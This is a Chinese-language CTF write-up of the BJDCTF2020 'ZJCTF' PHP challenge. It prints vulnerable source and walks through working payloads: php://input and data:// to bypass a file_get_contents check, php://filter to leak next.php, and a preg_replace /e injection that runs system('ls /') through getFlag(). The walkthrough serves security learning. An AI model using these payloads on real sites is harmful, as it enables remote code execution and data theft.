[BJDCTF2020]ZJCTF,不过如此1

发布于:2024-06-22 ⋅ 阅读:(144) ⋅ 点赞:(0)

打开题目可以看到一段php文件包含,源码如下

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

简单分析一下这段代码,代码通过GET方法来传入text和file两个参数,并且传入的text参数通过file_get_contents函数以只读的方式打开,而且当它强等于"I have a dream"这个字符串是,才能够去输出并且去执行下面的那个if判断。下面的那个if判断只是简单地判断了一下file传入的值中是否包含flag这个字符串,如果包含的话,则会输出"Not now!",否则就会去包含file传入的这个文件参数。

关于file_get_contents函数的利用手法,看这里PHP文件包含漏洞利用思路与Bypass总结手册(一)_index.zip-CSDN博客大佬总结的特别好,我好爱。

在本题中file_get_contents函数的利用如下(burpsuite抓包)

POST /?text=php://input

……

……

……

I have a dream 

 可以看到通过这个办法是成功过了第一个if

看了一些博客还有一下是通过data协议来绕过的,直接就是?text=data://text/pain,I have a dream

在上面大佬的博客总结中也有提到。

那么第一个if绕过了接下来就是第二个if了,可以看到源码中是包含了文件,并且给了提示那么我们就可以通过php伪协议来读取next.php里面的内容了

我们利用php://filter协议来读取next.php内容,于是我们在burpsuite中就可以添加上file=php://filter/convert.base64-encode/resource=next.php,然后就得到了next.php的源码。

我们将返回的base64解码就是next.php的源码了,源码如下

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

先学习一下preg_replace函数PHP preg_replace() 函数 | 菜鸟教程 (runoob.com)

函preg_replace 函数执行一个正则表达式的搜索和替换。

preg_replace ( $pattern , $replacement , $subject)

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。

  • $replacement: 用于替换的字符串或字符串数组。

  • $subject: 要搜索替换的目标字符串或字符串数组。

返回值:

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

 在next.php中,complex函数中使用了preg_replace /e模式,这会导致preg_replace中的第二个参数会被当做代码执行,但是这里的第二个参数是一个不可变的,但是存在一种特殊的情况:

在正则表达式替换中,strtolower("\\1") 这一部分中:

\\1 代表第一个捕获组中的内容。在正则表达式中,用圆括号 () 括起来的部分就是捕获组。捕获组中的内容会被记住,并且可以在替换字符串中引用。\1 是第一个捕获组的引用,在双引号字符串中需要用 \\1 来表示。

strtolower函数的作用是把字符串转化成小写。

preg_replace(
    '/(' . $re . ')/ei',
    'strtolower("\\1")',
    $str
);

那么这段代码作用就是

  • 找到 $str 中匹配正则表达式 ($re) 的部分。
  • 将匹配到的部分传递给 strtolower 函数。
  • strtolower 函数的返回值替换原匹配的部分。

示例:

preg_replace('/(\w+)/ei', 'strtolower("\\1")', 'Hello World');

这段代码会将 HelloWorld 都转换为小写,结果是 hello world

那么这样一来这段代码执行的就是preg_replace中的第三个参数了,这样即使第二个参数是不可变的也可以执行代码。

这样的话我们只需要利用这个方法来执行getFlag()函数,在传入cmd来执行命令就可以了

构造paylaod=/next.php?\S*=${getFlag()}&cmd=system('ls /') ;

解释一下:

\S*:匹配任意非空白字符。

\S*=${getFlag()}:这将构造一个匹配,并且将捕获组的内容作为代码执行。

也就是这段代码会遍历传入的GET参数,将GET传入的变量名给了$re,把变量名的值给了$str,那么这样在传入paylaod的时候preg_replace会变成

preg_replace('/(\S*)/ei', 'strtolower("\\1")', '${getFlag()}');

那么执行完的界面就是

发现flag,换一下命令就可以了,得到flag

参考文章:

[BUUCTF][BJDCTF2020]ZJCTF,不过如此1(做题记录_[bjdctf2020]zjctf,不过如此 1-CSDN博客

BUUCTF:[BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此-CSDN博客

PHP文件包含漏洞利用思路与Bypass总结手册(一)_index.zip-CSDN博客